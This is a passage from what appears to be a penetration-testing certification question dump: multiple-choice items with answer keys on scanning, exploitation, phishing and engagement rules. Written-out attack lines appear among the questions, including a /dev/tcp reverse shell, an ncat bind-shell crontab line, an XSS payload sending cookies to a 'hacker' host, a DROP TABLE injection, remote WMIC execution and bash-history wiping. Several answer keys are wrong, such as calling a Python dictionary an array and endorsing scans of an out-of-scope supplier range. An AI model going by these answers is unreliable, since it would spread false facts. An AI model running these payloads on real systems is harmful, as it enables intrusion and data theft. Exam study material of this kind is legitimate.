the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

#### NEW QUESTION 122

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

**Answer:** A

#### NEW QUESTION 123

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. inurl:

- B. link:
- C. site:
- D. intitle:

**Answer: C**

#### NEW QUESTION 125

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

**Answer: A**

#### NEW QUESTION 127

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

- A. Configure wireless access to use a AAA server.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Install a host-based firewall on the penetration testing distribution.
- D. Connect to the penetration testing company's VPS using a VPN.

**Answer: D**

#### NEW QUESTION 128

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

**Answer: A**

#### Explanation:

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

#### NEW QUESTION 129

A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()

try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))

except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

However, the tester is receiving the following error when trying to run the script:

```
$ python script.py 192.168.0.1
Traceback (most recent call last):
  File "script.py", line 7, in <module>
    if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

- A. The sys variable was not defined.
- B. The argv variable was not defined.
- C. The sys module was not imported.
- D. The argv module was not imported.

**Answer:** A

#### NEW QUESTION 131

A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

- A. Using OpenVAS in default mode
- B. Using Nessus with credentials
- C. Using Nmap as the root user
- D. Using OWASP ZAP

**Answer:** B

#### Explanation:

Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-web-based targets.

#### NEW QUESTION 133

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

- A. Aircrack-ng
- B. Wireshark
- C. Wifite
- D. Kismet

**Answer:** A

#### NEW QUESTION 135

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

```
* Connected to 10.2.11.144 (:::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
```

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

**Answer:** C

#### NEW QUESTION 136

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

**Answer: B**

**Explanation:**

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

**NEW QUESTION 138**

The following PowerShell snippet was extracted from a log of an attacker machine:

```

1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5. return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9. return 0
10. }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " $test
23. $setipaddress = [ 192, 168, 1, 4]

```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

**Answer: A**

**Explanation:**

[https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about\\_arrays?view=powe](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe)

**NEW QUESTION 141**

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

**Answer: C**

**NEW QUESTION 144**

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

**Answer: B**

**NEW QUESTION 147**

A penetration tester performs the following command: `curl -I -http2 https://www.comptia.org`

Which of the following snippets of output will the tester MOST likely receive?

- A. 

```
HTTP/2 200
...
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
referrer-policy: strict-origin
strict-transport-security: max-age=31536000; includeSubdomains; preload
...
```
- B. 

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
...
</head>
...
<body lang="en">
</body>
</html>
```
- C. 

% Total	% Received	% Xferd	Average Dload	Speed Upload	Time Total	Time Spent	Time Left	Current Speed				
100	1698k	100	1698k	0	0	1566k	0	0:00:01	0:00:01	--:--	1565k	--:--
- D. 

```
[#####] 100%
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer: A**

**NEW QUESTION 152**

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

**Answer: A**

**NEW QUESTION 155**

A penetration tester ran the following command on a staging server: `python -m SimpleHTTPServer 9891`

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. `nc 10.10.51.50 9891 < exploit`
- B. `powershell -exec bypass -f \\10.10.51.50\9891`
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit`
- D. `wget 10.10.51.50:9891/exploit`

**Answer: D**

**NEW QUESTION 159**

During a penetration test, a tester is able to change values in the URL from `example.com/login.php?id=5` to `example.com/login.php?id=10` and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

- A. Command injection
- B. Broken authentication
- C. Direct object reference
- D. Cross-site scripting

**Answer: C**

**Explanation:**

Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

**NEW QUESTION 163**

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

- A. MD5
- B. bcrypt
- C. SHA-1
- D. PBKDF2

**Answer:** A

**NEW QUESTION 166**

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

**Answer:** A

**Explanation:**

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

**NEW QUESTION 169**

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

**Answer:** A

**NEW QUESTION 172**

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

**Answer:** CD

**Explanation:**

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

**NEW QUESTION 176**

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

**Answer: B**

#### NEW QUESTION 177

A penetration tester conducted an assessment on a web server. The logs from this session show the following:  
`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`  
Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

**Answer: C**

#### NEW QUESTION 179

A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

- A. Steganography
- B. Metadata removal
- C. Encryption
- D. Encode64

**Answer: B**

#### Explanation:

All other answers are a form of encryption or randomizing the data.

#### NEW QUESTION 180

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.  
Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

**Answer: C**

#### NEW QUESTION 184

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees. Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

**Answer: A**

#### NEW QUESTION 186

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

**Answer: B**

#### NEW QUESTION 191

During an engagement, a penetration tester found the following list of strings inside a file:

```
3af068faa81326ffe6ca48e2ab36a779
48ec2f4f526303a9ded67938e6ce11c6
9493bf035c534197d9810a5e65a10632
C847b4a2e76ec1f9cbbbe30d2046d5e8
ed225542767a810e6fcee6f640164b140
cfbe1fdd6e6b0c5c9abd8c947f272ef4
c05cbc5a69bcc91f56a7e0a6c391ad79
9ee3564cbf15421ebabc43dcb67949ad
5a2ad0bcb902e20c4efcf057b01050be
4865a2ed25ed18515b7e97beb2b40346
b0236938a6518fc65b72159687e3a27b
9c96354712595ef2ff96675496d3a464
a5ab3f6c6159b85209ea0c186531a49f
9b38816e791f1400245f4c629a503bc8
d12e624a20d54fd3b34b89ee7169df17
```

Which of the following is the BEST technique to determine the known plaintext of the strings?

- A. Dictionary attack
- B. Rainbow table attack
- C. Brute-force attack
- D. Credential-stuffing attack

**Answer: B**

#### NEW QUESTION 194

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

- A. Cost of the assessment
- B. Report distribution
- C. Testing restrictions
- D. Liability

**Answer: B**

#### NEW QUESTION 196

A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

- A. The timing of the scan
- B. The bandwidth limitations
- C. The inventory of assets and versions
- D. The type of scan

**Answer: C**

#### NEW QUESTION 197

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing

- B. Tailgating
- C. Baiting
- D. Shoulder surfing

**Answer: C**

#### NEW QUESTION 201

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

- A. nmap -sT -vvv -O 192.168.1.2/24 -PO
- B. nmap -sV 192.168.1.2/24 -PO
- C. nmap -sA -v -O 192.168.1.2/24
- D. nmap -sS -O 192.168.1.2/24 -T1

**Answer: D**

#### NEW QUESTION 206

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

- A. nmap sn 192.168.0.1/16
- B. nmap sn 192.168.0.1-254
- C. nmap sn 192.168.0.1 192.168.0.1.254
- D. nmap sN 192.168.0.0/24

**Answer: B**

#### NEW QUESTION 211

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

**Answer: C**

#### Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

#### NEW QUESTION 216

Appending string values onto another string is called:

- A. compilation
- B. connection
- C. concatenation
- D. conjunction

**Answer: C**

#### NEW QUESTION 217

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

**Answer: A**

#### NEW QUESTION 222

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. windows/x64/meterpreter/reverse\_tcp
- B. windows/x64/meterpreter/reverse\_http
- C. windows/x64/shell\_reverse\_tcp
- D. windows/x64/powershell\_reverse\_tcp
- E. windows/x64/meterpreter/reverse\_https

**Answer: A**

#### Explanation:

A reverse tcp connection is usually used to bypass firewall restrictions on open ports. A firewall usually blocks incoming connections on open ports, but does not block outgoing traffic. windows/meterpreter/reverse\_tcp allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting, control the webcam and microphone, etc.

#### NEW QUESTION 224

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

- A. Send deauthentication frames to the stations.
- B. Perform jamming on all 2.4GHz and 5GHz channels.
- C. Set the malicious AP to broadcast within dynamic frequency selection channels.
- D. Modify the malicious AP configuration to not use a pre-shared key.

**Answer:** A

#### Explanation:

<https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax>

#### NEW QUESTION 226

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

**Answer:** B

#### Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

#### NEW QUESTION 227

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

- A. `schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe`
- B. `wmic startup get caption,command`
- C. `crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash" | crontab 2>/dev/null`
- D. `sudo useradd -ou 0 -g 0 user`

**Answer:** A

#### NEW QUESTION 228

In Python socket programming, SOCK\_DGRAM type is:

- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.

**Answer:** C

#### Explanation:

Connectionless due to the Datagram portion mentioned so that would mean its using UDP.

#### NEW QUESTION 233

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

**Answer:** C

#### NEW QUESTION 238

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing

- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

**Answer:** CD

#### NEW QUESTION 239

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

- A. After detection of a breach
- B. After a merger or an acquisition
- C. When an organization updates its network firewall configurations
- D. When most of the vulnerabilities have been remediated

**Answer:** D

#### NEW QUESTION 241

A penetration tester obtained the following results after scanning a web server using the dirb utility:

```
...
GENERATED WORDS: 4612
---
Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 – FOUND: 4
```

Which of the following elements is MOST likely to contain useful information for the penetration tester?

- A. index.html
- B. about
- C. info
- D. home.html

**Answer:** B

#### NEW QUESTION 246

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

- A. The injection was too slow.
- B. The DNS information was incorrect.
- C. The DNS cache was not refreshed.
- D. The client did not receive a trusted response.

**Answer:** C

#### NEW QUESTION 251

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system. After running a few commands, the tester runs the following:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Which of the following actions is the penetration tester performing?

- A. Privilege escalation
- B. Upgrading the shell
- C. Writing a script for persistence
- D. Building a bind shell

**Answer:** B

#### NEW QUESTION 254

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

- A. Ensure the client has signed the SOW.
- B. Verify the client has granted network access to the hot site.
- C. Determine if the failover environment relies on resources not owned by the client.
- D. Establish communication and escalation procedures with the client.

**Answer:** A

#### NEW QUESTION 255

A penetration tester is reviewing the following SOW prior to engaging with a client:

“Network diagrams, logical and physical asset inventory, and employees’ names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client’s Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.”

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client’s senior leadership team
- D. Seeking help with the engagement in underground hacker forums by sharing the client’s public IP address
- E. Using a software-based erase tool to wipe the client’s findings from the penetration tester’s laptop
- F. Retaining the SOW within the penetration tester’s company for future use so the sales team can plan future engagements

**Answer:** CD

#### NEW QUESTION 260

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

**Answer:** A

#### Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

#### NEW QUESTION 261

A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

```
17:34:23 - F - Info: New connection established :8443
17:34:23 - F - User: bmarney
17:34:23 - F - PW length 15
17:34:23 - F - login exec (/www/app/jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney
17:34:23 - F - login rc:0
```

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

- A. Run an application vulnerability scan and then identify the TCP ports used by the application.
- B. Run the application attached to a debugger and then review the application's log.
- C. Disassemble the binary code and then identify the break points.
- D. Start a packet capture with Wireshark and then run the application.

**Answer:** D

#### NEW QUESTION 263

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.

Which of the following is the BEST action for the penetration tester to take?

- A. Utilize the tunnel as a means of pivoting to other internal devices.
- B. Disregard the IP range, as it is out of scope.
- C. Stop the assessment and inform the emergency contact.
- D. Scan the IP range for additional systems to exploit.

**Answer:** D

#### NEW QUESTION 266

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

- A. Hashcat
- B. Mimikatz
- C. Patator
- D. John the Ripper

**Answer:** C

#### Explanation:

<https://www.kali.org/tools/patator/>

#### NEW QUESTION 268

Given the following code:

```
systems = {
    "10.10.10.1" : "Windows 10",
    "10.10.10.2" : "Windows 10",
    "10.10.10.3" : "Windows 2016",
    "10.10.10.4" : "Linux"
}
```

Which of the following data structures is systems?

- A. A tuple
- B. A tree
- C. An array
- D. A dictionary

**Answer: C**

#### NEW QUESTION 271

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

**Answer: CE**

#### Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.

#### NEW QUESTION 272

A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

**Answer: D**

#### Explanation:

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

#### NEW QUESTION 273

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

**Answer: E**

#### NEW QUESTION 274

After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results:

Nmap scan report for 192.168.10.10

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
5985/tcp	open	Microsoft	HTTPAPI httpd 2.0 (SSDP/UPnP)

Nmap scan report for 192.168.10.11

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services

The tester then runs the following command from the previous exploited system, which fails: Which of the following explains the reason why the command failed?

- A. The tester input the incorrect IP address.
- B. The command requires the -port 135 option.
- C. An account for RDP does not exist on the server.
- D. PowerShell requires administrative privilege.

**Answer: C**

#### NEW QUESTION 277

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

**Answer: C**

#### NEW QUESTION 282

A penetration tester has prepared the following phishing email for an upcoming penetration test:

Coworkers,

A security incident recently occurred on company property.

All employees are required to abide by company policies at all times. To ensure maximum compliance, all employees are required to sign the Security Policy Acceptance form (on-line here) before the end of this month.

Please reach out if you have any questions or concerns.

Human Resources

Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

- A. Familiarity and likeness
- B. Authority and urgency
- C. Scarcity and fear
- D. Social proof and greed

**Answer: B**

#### NEW QUESTION 287

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

**Answer: D**

#### NEW QUESTION 288

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last\_user

- C. /var/log/user\_log
- D. /var/log/lastlog

**Answer:** D

**Explanation:**

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

**NEW QUESTION 293**

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

- A. ROE
- B. SLA
- C. MSA
- D. NDA

**Answer:** D

**NEW QUESTION 296**

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

**Answer:** C

**NEW QUESTION 298**

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

**Answer:** A

**NEW QUESTION 301**

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

```
cat /dev/null > temp
```

```
touch -r .bash_history temp mv temp .bash_history
```

Which of the following actions is the tester MOST likely performing?

- A. Redirecting Bash history to /dev/null
- B. Making a copy of the user's Bash history for further enumeration
- C. Covering tracks by clearing the Bash history
- D. Making decoy files on the system to confuse incident responders

**Answer:** C

**NEW QUESTION 302**
